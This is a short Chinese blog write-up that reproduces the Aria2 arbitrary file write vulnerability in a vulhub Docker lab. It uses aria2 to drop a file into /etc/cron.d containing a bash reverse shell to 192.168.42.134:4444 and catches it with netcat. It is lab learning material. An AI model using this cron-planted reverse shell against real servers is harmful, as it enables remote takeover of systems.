Aria2 任意文件写入漏洞复现

    技术2022-07-10  142

    Aria2 任意文件写入漏洞复现

    环境搭建漏洞复现参考文章

    环境搭建

    启动docker

    systemctl start docker

    获取vulhub

    git clone --depth=1 https://github.com.cnpmjs.org/vulhub/vulhub.git

    进入对应目录

    cd vulhub/aria2/rce/

    启动容器

    docker-compose up -d

    查看容器

    docker ps

    这里kali的ip192.138.164.134 centos的ip192.168.42.133 打开http://binux.github.io/yaaw/demo/ 配置aria2 填入靶机ip 在服务器生成文件 注意,这个文件要在linux环境下生成,因为在linux和windows下的换行符不同 shell

    #! /bin/sh /bin/sh -i >& /dev/tcp/192.168.42.134/4444 0>&1

    写入一个crond任务来反弹shell

    漏洞复现

    设置下载链接 在kali监听

    nc -lvvp 4444

    等了一会发现kali并没有监听到shell 所以进入docker容器检查

    docker exec -it 7f /bin/bash cd /etc/cron.d chmod 777 shell ./shell

    确实已经下载,执行一下 看样子在docker环境下是有很多限制的,首先是权限,直接是无法执行的, 成功反弹shell

    参考文章

    https://github.com/vulhub/vulhub/blob/master/aria2/rce/README.zh-cn.md

    Processed: 0.010, SQL: 9